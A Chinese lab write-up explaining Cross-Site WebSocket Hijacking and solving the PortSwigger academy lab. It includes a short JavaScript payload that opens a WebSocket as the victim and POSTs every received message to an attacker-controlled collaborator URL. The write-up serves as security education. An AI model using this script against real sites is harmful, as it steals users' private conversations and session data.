0x00 什么是ws劫持

在Websocket的业务中,其中常见的漏洞是ws劫持,全称为跨站点CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞。

WebSocket概念

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

有人要问了:那他和同为协议的且使用更普遍的HTTP协议有什么区别呢?

首先呢WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。

同时WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。

简单的说,就是http是无状态的,发送完了就结束了。

WebSocket是一个长期连接,可以一直交互的协议,遇到这种需要频繁交互,长期交互的,这个就比较适合。还有一种在线游戏,服务器主动给你不断发消息这种,也适用。(需要长轮询这种)

只是一个不同的协议。

0x01 漏洞特点

  • **前提:**当 WebSocket 握手请求仅依赖 HTTP cookie 进行会话处理,并且没有CSRF 令牌时

攻击者可以在自己构建一个恶意连接,对应用程序建立跨站点 WebSocket 连接,随后受害者将会与应用程序的会话上下文中处理连接,随之连接向服务器发送任意消息,并读取从服务器收到的消息内容。

  • **不同:**攻击者获得与受感染应用程序的双向交互

  • 伪装成受害用户做敏感操作。

  • 被劫持的应用程序可以进行双向交互。

0x02 实验

为了简单方便,我们直接钱使用 burp的在线靶场即可

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

这个是我的地址,大家自己去官网,找那个 Cross-site WebSocket hijacking 实验环境即可

1.这是一个在线商城,有一个聊天机器人

2.抓包看一下,使用的 WebSocket通信

这里有一个问题,在WebSockets历史里,观察到 "READY "有命令就会全部重新请求一遍过去的全部聊天信息。

在HTTP历史中,找到WebSocket握手请求。观察一下,该请求没有CSRF令牌。

那么我们就可以试一下这个CSWSH漏洞,下面是我的聊天地址

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

3.我们需要一个服务放我们的脚本,直接理解为XSS平台,那这边lab提供了一个sever

把js脚本写好

<script>var ws = new WebSocket('wss://your-websocket-url');ws.onopen = function() {ws.send("READY");};ws.onmessage = function(event) {fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>

4.然后相当于去访问这个有 js的url

5.收到消息


这样就可以看到聊天记录的交互信息,算是劫持成功.

0x04 总结

其实简单的将,这个很类与websocket版本的CSRF,同样的需要没有CSRF的token,然后利用这一点,发送一下敏感的请求,做一些敏感操作。

前端websocket劫持漏洞(CSWSH)相关推荐

  1. 点击劫持漏洞修复(前端、后端)

    点击劫持漏洞修复(前端.后端) 点击劫持(Click Jacking)是一种视觉上的欺骗手段,攻击者通过使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,通过调整ifram ...

  2. Lab: Cross-site WebSocket hijacking:跨站WebSocket劫持

    目录 什么是跨站WebSocket劫持? 跨站WebSocket劫持有什么影响? 执行跨站点 WebSocket 劫持攻击 在本节中,我们将解释跨站 WebSocket 劫持 (CSWSH),描述入侵 ...

  3. WebSocket安全漏洞

    一.基础知识 1. 什么是WebSocket WebSocket是通过HTTP启动的双向.全双工通信协议.它们通常用于流式传输数据和其他异步流量的现代Web应用程序中.最常见的是网站中的聊天机器人 2 ...

  4. html 设置响应X-frame,X-Frame-Options(点击劫持)漏洞分析及web配置修复

    漏洞描述: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的ifram ...

  5. 网站跳转劫持漏洞的发现与修复建议

    网站渗透测试是指在没有获得网站源代码以及服务器的情况下,模拟入侵者的攻击手法对网站进行漏洞检测,以及渗透测试,可以很好的对网站安全进行全面的安全检测,把安全做到最大化.在挖掘网站漏洞的时候我们发现很多 ...

  6. web漏洞挖掘指南-前端跨域漏洞

    web漏洞挖掘指南 前端跨域漏洞 一.何为跨域 1.设想一种场景,一个恶意网站上嵌入了一个iframe标签去加载银行的登陆页面,高度和宽度的设置和真实的银行官网一样,当用户访问恶意网站并登录时,攻击者 ...

  7. WEB安全基础-点击劫持漏洞基础

    点击劫持漏洞 点击劫持:一个其他的网站,用iframe标签,<iframe src="http://xxx.xxx.xxx"></ifame> <st ...

  8. sso登陆劫持漏洞(单点登录劫持,低危)

    正文 参考资料: 腾讯单点登录系统跨域劫持漏洞 https://lvwei.me/passport.html#toc_8 sso单点登陆,用户一次登陆,所有系统都可访问. sso设计目的是简化登陆方式 ...

  9. Repo Jacking:依赖关系仓库劫持漏洞,影响谷歌GitHub等7万多个开源项目的供应链...

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 三个场景可导致 GitHub 仓库遭劫持.直接组合使用这三个场景可导致恶意代码注入.千万别这么做. 背景 最近的一个客户项目使我们开始 ...

最新文章

  1. 《一江春水向东流》之随笔
  2. SAP MM模块相关透明表收集
  3. Cloud for Customer的contact主数据function字段下拉菜单的绘制原理
  4. linux关闭gvim命令,Linux 下 8 种退出 vim 编辑器的方法
  5. python预定义_【Python】python类中方法的预定义
  6. 互联网晚报 | 04月05日 星期二 |​ ​​​考研调剂系统明日开通;微软Edge浏览器宣布10天后退出历史舞台...
  7. 断点vue_vue 事件代理
  8. 程序员必备的21个Linux命令
  9. leetcode python3 简单题69. Sqrt(x)
  10. java resource和,java_spring之Autowired与Resource差异解析
  11. 成都python数据分析师培训_python数据分析师
  12. 《C关键字分析》之extern用法
  13. VXLAN详解(一)
  14. Java RMI原理与使用
  15. C++ primer第一章 C++概述 纪要
  16. Python 操作 DB2 库_亲测可用
  17. JS 字符串分割以及填充
  18. Dell重装系统之官方原版系统
  19. 软考基础知识—操作系统
  20. 微信朋友圈python广告评论_利用Python让你的微信朋友圈与众不同,更加高大上

热门文章

  1. 网页播放的本地视频代码
  2. 如何从窗口句柄得到窗口的指针
  3. optimizer(三) Adam 系列
  4. cf103202M. United in Stormwind
  5. iconv命令的使用方法
  6. 医学主题词表(Medical Subject Headings, MeSH)
  7. 循环视图——RecycleView
  8. 配置oem 13c以监控管理数据库
  9. 基于QUIC 协议的HTTP/3
  10. 数据库原理课后答案 第二章